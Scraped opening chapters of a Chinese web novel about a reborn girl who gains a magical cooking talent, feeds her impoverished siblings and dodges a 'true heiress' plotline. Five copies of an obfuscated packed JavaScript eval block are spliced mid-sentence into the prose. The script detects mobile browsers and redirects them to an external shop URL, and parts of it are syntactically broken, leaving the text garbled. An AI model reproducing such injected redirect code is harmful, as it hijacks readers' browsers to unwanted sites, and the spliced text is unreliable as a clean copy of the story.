《天意小饭馆（美食）》 1. 实习系统 世界就是一个巨大的草台班子！ 沈天意从手术台死了刚重生，还没消化，无奈的看着眼前飘在半空中毛茸茸的奶橘猫：“别哭了！” “哇啊啊啊！”小奶猫哭得更凶了，在空中打滚：“统、统找错宿主了！怎么办哇，主统大人知道统就完了哇呜呜呜……” 沈天意：“……” 无奈。 她个被实习系统勾错魂的都还没说啥呢~ 实习生果然不靠谱！ “好了，别哭了。”她抬起头，试探性的摸了摸小奶猫的头，没成想真的碰到了，软软的蓬松的触感让她心头大好，声音更加柔和了：“我不怪你。” 小奶猫顿时抬起了湿漉漉的蓝眼睛：“真的？” “嗯。”沈天意笑笑，语气平和：“我原本都死了，你给了我第二次生命，我怎么会怪你？你先别急着哭，想想办法，看能不能补救。” 听她说完。 小奶猫立马在空中翻了一个滚，眼睛亮晶晶看着她：“办法是有的，统这就和你解绑，回去重新绑定宿主就是了。” 回去？ 沈天意眼里闪过波动：她动心脏手术失败，父母哥哥姐姐们都守在手术间外面，知道她走了的消息一定很难过~ 很快收敛。 她看着小奶猫，语气毫不犹豫：“解绑吧。” 小奶猫瞪圆了眼睛：“你、你就这么答应统了？！” 真可爱！ 沈天意又忍不住揉了一把它的头：“还磨蹭什么？不怕回去之后来不及了？” “啊啊啊——！” 小奶猫顿时炸毛了：“统忘了这个！” “那统走……” 它急匆匆转身，转到一半，突然回头，看向沈天意，眼里带着纯粹的感激：“好人，谢谢你，统要给你一个补偿。” “补偿？” 沈天意来了兴致：“好啊，什么补偿？” 只见，小橘猫屁股坐在地上，小身子立起来，如同哆啦A梦一样，前肢伸进白嫩的肚子，开始掏起东西来。 很快，它掏出了一个白色的光团：“啊，就这个！” 沈天意：“这是？” 小奶猫眼睛闪闪的，一脸得意：“统是修仙系统，只有修仙相关的物品，这个是一种灵根，叫“饭灵根”，能够让饭菜味道变得美味，虽然在系统商城里不值钱，但、但统知道，你一定会喜欢的。” “饭灵根？”沈天意是个宅女，平日里爱看小说，很快就明白了，坦诚的点头：“没错，我很喜欢。” “谢谢你，小橘。” “嘻嘻~” 小家伙高兴的摇了摇尾巴，将白色光团甩到沈天意身上。 沈天意是躺在床上的，因此躲闪不及，看着朝她脸砸来的光团，下意识闭上了眼睛，然后，然后什么感觉也没有。 因此。 她没有看到，小奶猫扔光团的时候，白色光团还带出了一个红色丝线，一同进了她的身体里。 小奶猫自然看到了。 它蓝色的猫眼瞪大，一脸惊恐。 这是什么？！ 疯狂在兜兜里翻找。 最后，找出了答案：啊，是心声组的发小统送给它的姻缘红线，没事了，没事了，自己吓自己~ 它放松下来。 正好，沈天意睁开了眼睛。 小奶猫立马对她挥手：“统走了。” 沈天意下意识抬手告别。 就见，小奶猫化作了光点消失在了她眼前。 沈天意一动不动看了许久，眼里带着怅然：自己和原世界唯一的联系，消失了~ 刚才，她对系统说不怪它，是真心实意的。 沈天意一出生就有先天性免疫缺陷病，药不离口，好在出生御厨世家，家里不缺钱，可以养得起她。可六岁之后，因为各种并发症：心脏三尖瓣脱垂、动物皮毛过敏、哮喘……，她只能住进了医院的无菌病房。 一待，就待到了十八岁。 她并发心脏病拖不了，必须做心脏修复手术，永远的留在了手术台上。 对于这个结果，她早有预料。 因为，她已经做了十几年的心理建设。 还能醒来，还拥有了一具健康的身体，她是高兴的。 所以，即使系统说她绑错了人，她也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615809|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有任何生气，当然了，这也和她因为心脏问题，一直习惯情绪平稳有关。 惆怅了一会儿。 沈天意打起了精神。 好消息是她重生了，还得了一个“饭灵根”的金手指。 但，坏消息是：她穿书了。 事情是这样的，她和实习统要绑定的宿主在相邻的手术间，实习统迷路了，把她绑定之后才发现绑错了人，惊慌失措带着她一头钻进了主治医师白衣口袋里的手机。 主治医师是个中年大叔，但爱看小说。 当时，他的手机页面正是一本叫做《假千金是团宠》的女频言情小说里。 沈天意穿成女主了？ 呵。 命没这么好！ 她也穿成千金了，不过，是真千金。 如果说，假千金是团宠，是万人迷，那真千金就是万人嫌。 原身是炮灰真千金，认亲回侯府后一直针对假千金女主，粗鄙、恶毒、愚蠢，作为对照组衬托得女主像个小仙女，还兢兢业业捣乱促进男女主感情，最终，被逐出侯府送往家庙了此残生。 好在。 原身还没被侯府认回去。 她重生到这具身体，自然而然拥有了原身的所有记忆。 原身的养母临终前告诉了她的身世，拿出了一枚凤形玉佩，价值不菲，她当即怨恨上了养母，认为她故意让自己过苦日子，让亲生女儿过享福，因此草草办完养母后事，就带着一对弟弟妹妹赶往了首都雍京寻亲。 书中，原身在雍京一头乱撞，毫无线索。 她花钱大手大脚，很快花光了带来的银钱，不得不把玉佩拿去当了，正巧，当铺正是原主生母的陪嫁，店铺掌柜认出了玉佩的由来，又见原身和主子长得有五六分相似，不敢耽搁，当即禀告了主子。 侯府立刻派人调查，真相大白。 原身被接回了府。 如今，原身姐弟三人才到雍京半个多月，原身还没当玉佩。 “万幸！” 沈天意长舒了一口气：“只要我不把玉佩拿出来，就不会被侯府认回去，什么真千金、男主、女主、炮灰，都和我没关系！” 2. 饭灵根 认亲？ 她自然不会认的。 她有亲人的，爱她、疼她、宠她的亲人，不缺爱，更不想自找麻烦。 看过小说的都知道，女主身边一定不会平静。 至于原主？ 自己不是夺舍。 原主不知道为何死了，实习统只是在她死后，把自己的灵魂放进了这具身体里面，她不亏欠原主什么。 突然。 门外传来带着哭腔的女童声：“大夫，你快进来看看我大姐。” 下一刻，沈天意所在的房门打开，一道亮光投射进房间，晃得她不自在的眯起了眼睛，很快，她看清楚了来人。 总共三个人。 一老两少，一女二男。 一个穿着洗得发白的短衣窄袖少年，一个穿着大改小衣裙的少女，两人一左一右拉着一个头发灰白、长袖长衫的老者，老者背后背着一个药箱。 她一下子认出了两个少年少女。 少年名叫沈天明，今年十四；少女名叫沈天慧，今年十二，两人是养母的儿女，原身的弟弟妹妹。 上一世，原身的结局凄惨，他们也下场惨谈。 这其中，和原身脱不了干系：沈天明为了原身，勾引侯府小姐，最终被报复打断了腿成了乞丐流落街头，原身却冷眼旁观；沈天慧为了原身，勾引侯府少爷成了通房丫鬟，连续流产了六次，最后大出血而死，原身依然冷漠不在意。 “大姐，你醒了？！” 沈天明惊喜的看着她，又催促大夫：“老大夫，你快给我大姐看看。” 老大夫没好气道：“你这么抓着老夫的手，让老夫怎么给病人诊脉？” 沈天明如梦初醒，赶忙松开了手。 一旁，沈天慧也放开了手。 随即，沈天意的手被大夫抓住，一切发生得电光火闪之间，她还没思考出用什么态度面对沈天明和沈天慧，就被大夫吸引了注意力。 大夫皱起了眉头，沉默不语。 沈天明和沈天慧脸上顿时没有一丝血色，恐惧的看着大夫。 见此，沈天意心也提了起来：“大夫，我、我怎么了？” 不是吧。 她好不容易拥有一具健康的身体。 难不成，她上一世的毛病带过来了？不怪她多想，小说里都是这样说的。 “不！” 大夫看着屋里三人的样子，意识到自己吓到人了，连忙摆手：“小娘子莫慌，娘子身体并无任何问题，是老夫听令弟和令妹说你不省人事，该是身体有误，心里奇怪，担心是有什么疏漏，这才多号了一会儿脉。” 闻言。 沈天意松了一口气。 吓死了！ 身体没毛病就好。 不过，不省人事？ 她回想起原身的记忆，这些日子，原身为了找到家人，每日起早贪黑出门大街小巷的乱逛，昨晚回到家累到了倒头就睡。 据她推测，是在睡梦中丢了命。 实习统说原身死了，才把她的灵魂放进去，她有原身的记忆，最后停留在昨晚她拖着一身疲倦的身体回家躺下睡觉。 这期间，原身没有醒过。 所以，原身大概率就是在梦中死了。 按照书中，原身还有好长一段时间活，着实不合理啊~ 不过，这对沈天意来说不重要，懒得追究。 冷不丁，一道小身影扑进她怀里：“大姐，吓死我了！” 沈天意下意识接住：沈天慧眼睛红得像兔子，可怜又可爱的看着她。 她心生怜爱，摸了摸她的头：“大姐没事儿。” 边上，沈天明也欣喜的看着她，咧开嘴傻笑。 沈天意见了，心里一暖，暗道：有这么一对弟弟妹妹也不错，说到底她占据了原身的身体，照顾人家弟弟妹妹是应该的。 至于前面才说她不欠原身的……这能一样吗？ 大夫轻咳了几声：“咳咳咳。” 沈天意看着她，福至心来：“大夫，不知诊费是多少？” 大夫顺着胡须，笑呵呵：“小娘子并无大碍，给个十文钱出诊费即可。” “大夫稍等。”沈天意点头，接着，轻拍了一下沈天慧：“天慧，让开，姐姐去拿钱。” 沈天慧依依不舍的离开了姐姐的怀抱。 她从小最喜欢大姐姐了，可是，大姐姐不喜欢自己亲近她，这还是她第一次抱到大姐姐，果然，和她想象的一样温暖，和娘亲一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615810|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温暖。 沈天意有原身的记忆，轻而易举找到了她的钱袋子，打开一看，脸色瞬间绿了，如果大夫见了，怕不会说她没病了。 好在，背对着众人。 她面色悲重，心中哀鸣，只有—— 十！文！钱！ 天爷啊！ 这日子没法过了！ 她回想起来了，原身想着自己立马要成为大小姐，痛痛快快把身上的银钱花光了，刚进城还买了一身新衣裳，足足花了五百文钱。 败家子啊败家子！ 如果不是作为女主的对照组，怕是不到认亲就饿死街头了。 没给她emo的时间，沈天意深吸了几口气，转过身，面色已经如常，就是笑容有些假，走近大夫，将十文钱递给他：“大夫，有劳了。” 大夫随意接过去，告辞。 沈天意“尔康手”：呜呜呜，我的钱~ 沈天明奇怪：“大姐？”怎么感觉大姐要哭了？ 沈天意立马收回手，一本正经：“怎么了？” 应该是自己看错了吧？ 沈天明愣了一下，摇了摇头。 房间中，就剩下姐弟三人。 沈天意沉浸在穷光蛋的打击中，没有说话的心思。 沈天明一时也不知道说什么。 这是，房间里响起一阵肚子叫声：“咕噜咕噜……” 沈天意抬起头，就看到沈天慧捂着肚子，红着小脸害羞的看着她。 沈天明惊醒：“饿了吧？也快到饭点了，我去煮饭。” 煮饭？ 沈天意脑子里顿时浮现了画面，眼里闪过怒火，是针对原身的。 原身真不是个东西，弟弟妹妹崇拜她喜欢她，她却只把两个弟弟妹妹当做累赘，自己每日在外面下馆子，却让弟弟妹妹自生自灭，好在，沈天明和沈天慧自己有些压岁钱，买了些米粮，每天煮两顿吃不至于饿死。 原身心知肚明，却一点儿表示都没有。 至于为何要带他们一起来雍京，一是当时不带走无法和村里人交代，二是想着他们作为假千金的弟弟妹妹，或许有用处。 这么想着，她开了口：“我来煮饭吧。” 正好，试试饭灵根。 3. 沥米饭 沈天明和沈天慧惊讶的看着她。 沈天意镇定自若：“怎么这么看着我？” 她知道原因。 原身自从知道身世，就再也没照顾过两个小的，只顾着自己。 不过，原身是会做饭的。 对面。 沈天慧下意识摇了摇小脑袋。 沈天明皱着眉头：“不行，大姐你身体不舒服，好好休……” “哪有不舒服？”沈天意打断他：“我是睡了一整天，睡得骨头都酥了。” “好了，就听我的。” 她询问沈天慧：“天慧，米在哪儿？” 沈天慧立即指了个方向。 沈天意走过去，看着米袋忍不住皱起了眉头：这些米的颜色暗淡，一看就是陈米，口感极差。 一想到原身吃香喝辣…… 她叹了一口气：“心怎么这么狠？！” 舀了一碗米，米袋已经空了。 沈天意抿了抿嘴，起身，往厨房走去，好在，原身虽然不管事，但还不至于连在哪儿做饭都不知道。 雍京大，居不易。 原身姐弟三人来到雍京，身上钱财已经不多了，最后，在店宅务的介绍下，租在了外城靠近城门口，下鱼街，鱼肠巷赵家的西厢房的其中一间。 一个月也要二百文钱租金。 鱼肠巷都是一进院，赵家是两个相邻的院子，他们住其中一个院子，剩下的一个院子租了出去，总共租给了四家人。 此刻。 院子里其他门户紧闭，只有沈天意姐弟三人。 厨房自然也是没人的。 沈天意淘了米，看着柴火灶有些发愁。 她没用过这个东西啊！ 可又不能说不会，原身可是会烧火的。 好在，沈天明主动开口：“大姐，我来烧火。” 沈天意忙点头。 饭煮上。 好在，赵家厨房原本就有铁锅。 饭是有了，可菜呢？总不能吃白饭吧！上哪儿搞点儿菜呢~ 她无意识走到了门外，厨房在东厢房，出来就是一道月亮门，对面是房东赵家一家居住的地方，她看了一眼，和自己这边布局差不多，只是多了一棵桂花树和一套石桌石凳，夏日一家可以在树下纳凉。 这时。 一个中年妇人端着一个木盆子出现在她眼前。 两人对视上了。 沈天意一愣，认出了人，是赵家的大娘子，冯香彩。 她客气的喊人：“冯娘子。” 对面。 冯香彩有些惊讶。 这沈家丫头居然给她打招呼，太阳打西边出来了？ 随即，她略微冷淡的点头。 她不喜欢沈天意。 他们姐弟三人从广化郡来雍京寻亲，得知他们的家世，她心生同情，只收了一个月租金和一个月押金，可是，这小娘子冷心冷清，只顾着自己，置年幼的弟妹于不顾，品性不佳。 她心里已经打定了主意，等租期一到，就不租给他们了。 虽然可怜两个年幼的孩子，但，她实在不想见到这沈天意了。 对此。 沈天意察觉到了。 因为生病，她总是很安静，对于别人身上的情绪很敏感。 既然人家不喜欢自己，沈天意也不打算热脸贴了屁股，弯了弯膝盖打算离开。 “等等。” 冯香彩一怔，下意识开口。 沈天意站住，抬起头面露询问。 “那、那个……” 冯香彩有些卡壳，她也不知道自己为什么突然叫住了她，情急之下，快步走上前，将手里的木盆递过去：“今天花匠家里有事不来收鱼杂，我家里人吃不完这么多鱼杂，你要不要？” 沈天意诧异，低头看过去，是半盆鱼杂，有鱼泡、鱼籽、鱼肠、鱼血、鱼鳔、鱼白、鱼油。 说完。 冯香彩有些懊悔：“不要就算……” “要！” 沈天意伸手接过：“谢谢冯娘子。” 冯香彩一愣，然后露出了笑：“客气啥~行，我店铺还有客人要招待，先走了。”她家是开鱼丸铺的，现在饭点正是生意好的时候，离不开人。 沈天意目送她离开。 看着鱼杂，陷入了沉思。 做什么好呢？ 她脑海里闪过无数种做法：香辣鱼杂、干锅鱼杂、酸汤鱼杂、剁椒蒸鱼杂、酱烧鱼杂、红烧鱼杂、鱼杂豆腐汤、鱼杂煎蛋饼、咖喱鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615811|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂…… 她从来没下过厨。 但，每道菜的食谱都刻在她心里。 人真的是没什么就渴望什么，因为先天性免疫缺陷病，她麻辣鲜香都吃不了，馋得流口水。最后，爱上了看吃播，望梅止渴。 她爷爷心疼她，专门给她录做饭视频。 老爷子是国宴大厨，手艺没得说，经年累月下来，她实操经验为零，但理论经验加满了。 沈天慧走过来：“大姐，你手里拿的啥？” 沈天意回神，笑：“冯娘子给的鱼杂，咱们晚上做酱烧鱼杂吃。” 最终，她决定做酱烧鱼杂。 因为，翻阅记忆，两个小的每天都是酱油拌饭。这还是离家之前，沈天明死活要带上的。 沈天慧眼睛发亮，忍不住咽了咽口水“酱烧鱼杂？” 她好久没吃肉肉了。 沈天意看得心里泛酸，空出手摸了摸她的脑袋。 木盆里鱼杂大概有一斤重。 沈天意走进厨房，拿出一个大碗把鱼杂给倒了进去，木盆递给沈天慧：“天慧，你帮我把木盆还给冯娘子，好吗？” 沈天慧重重点头。 沈天意没有立即处理鱼杂，铁锅上还在煮饭，就一个铁锅，急不来。 她先回了房间翻找调料，找到了盐和酱油，还有一个意外之喜，那便是一罐黄豆酱。 “不错，有这个味道更好！” 提着盐、酱油和黄豆酱，她返回了厨房。 揭开锅。 米已经半熟。 她夹起一粒米，观察了一下，点点头：“可以沥米了。” 看向沈天明：“天明，最小火。” 沈天明有些奇怪，但什么也没说照做。 沈天意用笊篱沥干米汤，重新将米饭倒入锅中蒸，大海碗里，剩下满满当当奶白色的米汤。 沈天慧一回来就看到了，好奇：“大姐，这是什么？” 闻言。 沈天意心里咯噔一下。 她忘记了，沈家并没有吃沥米饭的习惯。 她自己因为身体原因，很多汤水都不能喝，又不喜欢喝白水，所以家里做饭都是做沥米饭，随时给她备着米汤。 她自然而然就做了沥米饭。 4. 酱烧鱼杂 不能慌！ 不能慌！ 沈天意深吸了一口气，十分自然：“米汤啊，我前几天在一家店里学到的，这样就不用单独煮一碗汤了。” 沈天慧豁然开朗：“原来是这样，好聪明啊~” 沈天明赞同。 见此，沈天意偷偷松了一口气。 米饭蒸好，锅底结了一层焦黄的锅巴。 打开锅盖，一股米香味扑鼻而来，沈天意和沈天明都还好，沈天慧年纪小忍不住：“大姐，这饭好香啊，比二哥做的香一百倍！” 沈天明一听，耳根泛红：“那你还不是吃得香？！” 沈天意好笑，心里也意外：这饭香得有点儿超乎想象了，上一世，她吃的东北十月稻田新米也没这个香，要知道，这可是陈米…… 难不成，是因为“饭灵根”？ 先把饭盛起来，再把最下面的锅巴铲起来，掰了两块，分别递给沈天明和沈天慧：“先吃块锅巴垫垫肚子。” 两人飞快接过去。 沈天意闻着诱人的香味，也没忍住，掰了一小块，放进嘴里，杏仁眼瞪大：“这味道……酥脆喷香，焦中带甜，更绝的是，米饭似乎活了过来，带着一股勃勃生机。” 沈天慧不自觉点头，嘴里不停咀嚼，还不停发出短促赞叹：“哇，太好吃了，大姐，你厨艺好好，好脆、好香、好甜……” 沈天明没有出声，但从他专注的样子，也能知道他的答案。 最后。 姐弟三人把不大的锅巴分完了。 沈天慧不舍的舔手指：“大姐，真好吃~” 沈天明从来不知道自己这么嘴馋，回过神有些不好意思的红了耳朵，却也忍不住开口：“大姐，这是我这辈子吃过最好吃的锅巴。” 沈天意一脸满足。 一来，是因为弟弟妹妹的赞美；二来，是她可以吃锅巴了，这是她第一次吃锅巴；三来，是因为食物带来的愉悦；最后，是因为“饭灵根”的超凡效果。 做菜做菜。 鱼杂是新鲜的，用清水淘洗两遍，鱼泡用菜刀尖戳破、鱼籽切成大小合适的段，除鱼油外，其他鱼杂冷水下锅焯水。 这一步，原本是要放料酒去腥的。可是，她手上没有，只能省略了。 鱼籽很容易碎，焯水的时候尽量不要去翻动鱼杂，水煮沸，撇开浮末，将鱼杂捞出沥干。 另起锅，油热，下入鱼油，炼出油，下鱼杂，转小火，不翻动鱼杂，将一面煎至金黄，翻面，两面金黄，盛出备用。 留底油，加入黄豆酱炒香，加酱油，加水，水烧开，倒入煎好的鱼杂，转小火，慢炖十分钟。 最后，大火收汁。 此时。 厨房充斥着浓郁的香味。 沈天慧和沈天明盯着锅里，眼睛都不眨。 原本，葱、姜、蒜、老抽、蚝油、糖、胡椒粉、香油、水淀粉和香菜一样都没有，沈天意都在想不可能好吃，但，闻着这股香味，又有了自信。 也许，是好吃的？ 房间只有一张床，还有一套缺胳膊短腿的桌椅，沈天意姐弟三人将饭菜端上桌，一人捧着一碗米饭，面前是一碗酱烧鱼杂。 鱼杂酱香突出，色泽红亮，十分诱人。 沈天意也没忽略手中的米饭：色泽油润晶莹，泛着柔和的珍珠白；米粒饱满分明，微微膨胀，边缘圆润，彼此粘连却有清晰界限；表面有柔和的反光，像裹着一层极薄的米油；深呼吸一口，鼻腔充斥着清新米甜香，类似清晨稻草堆被阳光晒暖的气息，带一丝若有若无的奶香。 她用筷子夹起，饭粒柔韧有骨，轻微抖动而不碎，放入口中，米粒间有适度的粘合感，但牙齿一碰即轻松分离，芯部微韧，外部绵软，软硬恰到好处，越嚼越甜，唾液与淀粉融合释放甘甜，回味干净无渣。 太好吃了！ 沈天意一口气吃了小半碗，意犹未尽的控制住了自己，朝着酱烧鱼杂伸出了筷子，她先夹了一块鱼籽，一口咬下去，绵密鱼籽“噗”地迸开，咸鲜交织的酱香冲刷舌尖，然后是鱼内脏独有的鱼鲜味，和煎炸过的焦香。 “哇哦，我这酱烧鱼杂做得真的绝了！鱼籽脆弹，鱼泡鱼白软糯可口，太美味啦！” 就只放了黄豆酱和酱油，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615812|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “饭灵根”，恐怖如斯！ 左右两边。 沈天慧吃得头也不抬：“好吃，太好吃了！” 沈天明一言不发，筷子伸得都要冒火星了。 最后。 饭菜被三人吃得精光，他们都觉得意犹未尽。 沈天明盯着汤汁：“要是有馒头就好了，这么多汤汁可惜了~” 沈天慧：“留着，明天吃呗。” 沈天意：“……” 可怜的两个孩子，真是受苦了！ ****** 城郊小汤山。 荣国公府温泉山庄。 湖心亭中间，谈昀披着鹤氅立于廊下看景，他肤色瓷白、唇淡无色，眼神常含三分疏离和倦意。 一阵风袭来。 他忍不住咳嗽起来，眼角晕开一抹病态的嫣红。 谈安端着药回来见状，脸色焦急，放下药碗去搀扶谈昀：“公子！起风了，小的扶您回屋吧。” 谈昀一把推开搀扶的手：“我自己走。” 他指节攥出青白，走得很慢，身子却挺得笔直。 身后。 谈安无奈的叹了一口气。 随即，他端上了药碗，小心翼翼跟在后面。 从湖心亭到暖阁不过百余米，谈昀已经疲惫不堪，强撑着在塌上坐下，半靠在引枕上，神色厌倦。 谈安轻手轻脚上前，把药碗端到他手边的塌几上：“公子，长公主殿下亲自给您熬的药，让小的叮嘱您趁热喝下。” 谈昀这才分了一个眼神给药碗。 他眼中闪过憎厌，转而化为无可奈何的麻木，伸手端起药碗，不稳当洒在了纯白的鹤氅上，白璧微瑕，谈安露出可惜，他却毫不在意，端着药一饮而尽。 谈安立刻收碗。 谈昀闭着眼睛，任由他的动作。 药汁黏在舌根，像一团不肯下坠的、发酵的苦胆汁，胃里像被一只冰冷的手攥紧又松开，他额角冒出冷汗，质疑起了活着的意义。 这样苟延残喘的活着，有什么意义？ 十年前，他也是能骑马弯弓射大雕的。 5. 心声泄露 猝不及防，一道甜美的女声传进他的耳朵里：【哇哦，我这酱烧鱼杂做得真的绝了！】 谈昀猛地睁开眼睛：“谁在说话？” 因为刚吃了药，浑身无力，气若游丝。 谈安没听清：“公子，什么？” 谈昀已经看清楚了房间里，除了他和谈安，再没别的人。 幻觉？ 只能是如此了。 他嘴角牵扯出一抹苦笑：看来，他活不久了…… 又是那一道女声：【鱼籽脆弹，鱼泡鱼白软糯可口，太美味啦！】 谈昀瞳孔地震。 不！ 不是幻觉。 那道声音，仿佛是直接从他脑子里发出来的。 “你是谁？”谈昀试图在心里和“它”对话：“出现在我脑子里想要干什么？” 无人回应。 等了许久，都没有人回应。 谈昀皱起了眉头，疑惑不解：难不成，自己猜错了？ 一旁，谈安见他一脸沉思，但却不像平时那样将要给吐出来，心里高兴不已。 ****** 对此。 沈天意自然是一无所知的。 吃过了饭，沈天明和沈天慧两兄妹积极主动要洗碗，她自然随着他们。 正好，她返回了房间。 不死心，她将整个房间翻了个底朝天。 最后，沈天意无力的跌坐在床沿：“真的、真的只有那十文钱！” 还有十日，就是下个月交房租的日子了。 一个月房租二百文，还有吃喝拉撒，赚钱迫在眉睫。 做什么赚钱呢？ 沈天意上一世生病，家里请了家教教她读书，她也学了几门技能：钢琴、绘画、书法……但这些，都不是能立马赚到钱的。 她必须得立马赚钱。 对了！ 饭灵根。 她盯着自己的一双手：这双手似乎有了化腐朽为神奇的能力，不管是什么食材，经过了她的手，美味都能上几个台阶。 这不正是天生的厨子？ 对！ 卖吃的。 她顿时下定了决心。 下一刻，又皱起了眉头：卖吃的，需要本金。 本金，从哪儿搞呢？ 起身，打开包裹，里面躺着一枚莹润的玉佩，一看就不是普通人用得起的物件。 要不，把它当…… “不行！” 沈天意否掉了这个想法：“虽然我可以换一家当铺，但是，原身回侯府，就是因为玉佩被人认了出来，这是一本小说世界，谁知道，自己换一家当铺当玉佩，会不会触发剧情？” 为了以防万一，玉佩不能见人。 “那该……” “等等！” 沈天意眼睛发亮，看着玉佩下面垫着的衣服，这套衣服，是她刚到雍京买的那一套衣服，足足花了五百文钱。 这是细棉布。 “当铺，我记得什么都能当吧？” “这衣服，应该也可以。” 说干就干。 沈天意把衣服包了起来，抱在怀里，往外走。 正好。 便宜弟妹走了进来。 沈天慧好奇：“大姐，你要去哪儿？” 这么晚了~ 沈天意迈出门，后知后觉有些怂：上一世，她从来没有独自出过门。 “我要去一趟当铺。” “天明、天慧，你们和我一起去，行不？” 闻言。 沈天慧当即点头：“好啊~” 沈天明却皱起了眉头：“大姐，你去当铺干嘛？” 沈天慧也反应过来，疑惑的看着她。 沈天意不以为意，随口解释：“哦，我前几日不是买了一套衣服，我不喜欢了，干脆把它当掉换点儿钱。” 沈天慧崇拜：“大姐，你真聪明~” 沈天意笑了，捏了捏她的脸蛋：“天慧嘴真甜。” 沈天慧脸红了：“嘻嘻~” 沈天明第一反应不信，但是，抿了抿嘴没再说什么。 姐弟三人出门。 一走出院门，外面是鱼肠巷后巷，很安静，出了巷子，如同进入了另一个世界。 “客官，用膳不？” “今天有新鲜的黄鱼，客官，进来尝尝？” “煎饼，好吃的煎饼！” “糖葫芦，糖葫芦，又酸又甜的糖葫芦。” “……” 热闹的、烟火气的、生机勃勃的景象映入沈天意的眼帘。 她下意识瑟缩了一下脚步，眼睛却黏在这活色生香的画面上，舍不得眨眼：这是真实在她眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615813|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，而不是隔着屏幕…… 真好，真好！ 沈天慧扯了扯她的衣袖：“大姐？” 沈天意回神，扬起了一个灿烂无比的笑：“走~！” 她开始喜欢上这个世界了。 爸爸、妈妈、哥哥、姐姐，你们也会替我高兴的吧？ ****** 沈天慧提醒她：“大姐，这里有家当铺。” 沈天意抬头，入眼就是“孙家当铺”四个字，两层的小店，金碧辉煌的，一看就是实力雄厚。 “那就这……” 等一下！ 孙？ 她记得，原身的生母，就是姓“孙”吧？ 不会这么凑巧吧？ 但，转念一想，原身住在这种中下层平民的地方，随便找个当铺就找到了原身母亲的陪嫁，以原身母亲侯府夫人的身份，本身就不合理。 这就是剧情的力量吗？ 这时。 当铺里走出来一个小二：“小娘子，是要当东西吗？请进来便是。” 沈天意一时没回神。 “小李，你在和谁说话？” “掌柜的，有个小娘子……” 掌柜？！ 沈天意脸色大变，拉着沈天明和沈天慧转身快走，颇有几分后面有狼再追的意味。 身后。 小二诧异：“欸，怎么走了？” 掌柜的眯着眼睛看向外面，不知为何，他有种怅然若失的感觉。 这边。 沈天意一口气走到了街尾拐角，确定看不见“孙家当铺”了，这才停下了脚步，大大的松了一口气。 沈天明诧异：“大姐，你害怕那家当铺吗？” 沈天意下意识抬起头，然后，对上了一双探究的双眼。 她心里一跳。 便宜弟弟的眼神好锐利，仿佛能看透人心一般。 “我、我……” 沈天慧挽着她，瞪向哥哥：“我也害怕，那家当铺好奢华，我都不敢走进去~” 沈天明无奈了：这副模样，搞得自己欺负大姐了一样，他敢吗？！ “天慧说得是。”沈天意立马附和：“我就一件衣裳，还是找个小当铺当得好。”说完，正好看到一家“沈家当铺”的招牌，眼睛一亮，指着道：“这家不错！和咱们家还是本家呢。” 6. 出摊前的准备 一刻钟。 一刻钟。 姐弟三人从当铺出来。 沈天意怀里空空，手上紧紧攥着一个钱袋子。 里面，装的是三百文钱。 这些钱，可是她赚钱的本钱，是他们姐弟三人能够在雍京生存下去的希望。 衣服买成五百文，就穿了两次，卖掉只能卖三百文，一来一去，净损失了两百文。 三百文钱，肯定是做不了大生意的。 得做个上手快、成本低，能尽快出摊的吃食买卖才行。 沈天意在心里暗暗斟酌。 